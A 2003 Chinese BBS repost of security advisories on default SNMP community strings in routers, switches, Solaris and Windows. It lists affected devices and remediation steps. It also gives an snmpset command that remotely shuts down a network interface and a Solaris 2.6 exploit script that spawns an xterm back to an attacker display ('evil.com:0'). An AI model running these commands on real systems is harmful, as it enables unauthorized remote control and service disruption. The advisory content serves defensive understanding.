荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: hellsolaris (qq), 信区: Security
标  题: 运行snmp的系统的安全问题 (转)
发信站: 荔园晨风BBS站 (Thu Oct 30 09:44:50 2003), 站内信件

运行snmp的系统的安全问题 (Other,缺陷)

涉及程序:
运行snmp协议的系统

描述:
缺省的snmp设置隐藏重大的安全隐患

详细:
运行snmp协议(简单网络管理协议)的设备和系统,包括操作系统、路由器、switch、ISDN
/DSL Modem等,其缺省设置存在重大的安全隐患。
缺省的可读的community string设置,允许用户读取系统重要信息;而可读可写的commun
ity string,则允许远程用户修改路由表、网络接口卡的status和重要的系统信息。更为
严重的是,有的网络设备,即使community string是只读的,也允许远程用户具有相关的
写权。
下面是一部分有关的不安全的系统:

- 3com Switch 3300 (3Com SuperStack II) - private
- Cray MatchBox router (MR-1110 MatchBox Router/FR 2.01) - private
- 3com RAS (HiPer Access Router Card) - public
- Prestige 128 / 128 Plus - public
- COLTSOHO 2.00.21 - private
- PRT BRI ISDN router - public
- CrossCom XL 2 - private
- WaiLAN Agate 700/800 - public
- HPJ3245A HP Switch 800T - public
- ES-2810 FORE ES-2810, Version 2.20 - public
- Windows NT Version 4.0 - public
- Windows 98 (not 95) - public
- Sun/SPARC Ultra 10 (Ultra-5_10) - private

下面的方法仅供测试和参考,用于非法用途者责任自负:

$ snmpset hostname {private|public} interfaces.ifTable.ifEntry.ifAdminStatus.1
 i 2

这将远程关闭首个snmp接口



解决方案:
改变缺省的snmp community string的值,限制对snmp的访问,并用相关的snmp命令检查;
升级snmp相关软件和协议;限制路由指向snmp-enabled设备

安全建议:
禁止snmp服务


Solaris snmp的问题 (SunOS,缺陷)

涉及程序:
Solaris snmpd

描述:
Solaris缺省安装的snmp设置允许用户远程执行指令

详细:
缺省安装下, Solaris启动了snmpd,而且Community string为缺省值"private",这个值代
表可读可写的权限。
在这种设置下,攻击者不仅可以获得很多系统的敏感信息,而且能远程执行指令,杀死系
统上的进程。
以下代码仅供网络安全研究,用于非法用途者后果自负!

#!/bin/sh
#
# Solaris 2.6 snmpdx private and lame remote exploit by acz@hert.org
#

if [ $# -ne 2 ]; then
 echo "Usage: $0 <target> <evil_display>"
 echo "  eg. $0 example.com evil.com:0"
 exit
fi

export TARGET=$1
export EVIL_DISPLAY=$2


PID=`snmpget 2>/dev/null $TARGET private .1.3.6.1.4.1.42.2.15.8.1.9.2|awk '{pr
int $3}'`
echo Process id of 2nd subagent: $PID $TARGET
snmpget 2>/dev/null $TARGET private .1.3.6.1.4.1.42.2.15.8.1.7.2
echo "Replacing Executable Path for 2nd subagent"
eval 'snmpset 2>/dev/null $TARGET private .1.3.6.1.4.1.42.2.15.8.1.7.2 s "/usr
/openwin/bin/xterm -display $EVIL_DISPLAY -ut"'
echo "Sending signal -KILL to process id $PID on $TARGET"
snmpset 2>/dev/null $TARGET 'all private' .1.3.6.1.4.1.42.3.12.1.1.11.$PID i 9

echo "Wait for xterm now"

在Solaris 2.6上测试通过!


解决方案:
编辑/etc/snmp/conf/snmpd.conf
原来的内容如下:
system-group-read-community public
#system-group-write-community private
#
read-community public
write-community private
--------------------------
将write-community private注释掉
或换个密码
把read-community public也换个密码
也就是改为:
#system-group-read-community public
#system-group-write-community private
#
read-community 新密码
#write-community private

然后重启snmpx进程

WinNT/2000中的SNMP协议允许管理员从远程管理网络设备。这是通过创建注册表设置(HK
EY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters)并指定
授权的管理员的IP地址或机器名来实现的。这些SNMP权限设置都保存在网络设备本地。所
有的
网络设备按照community进行分组。

通常是具有管理权限的用户修改注册表键的设置。但是由于SNMP注册表键的权限的默认配
置存
在错误,任何可登录进机器的用户都可以修改这些设置。

成功地利用这个漏洞将允许用户完全控制网络设备。


--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.44.223]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店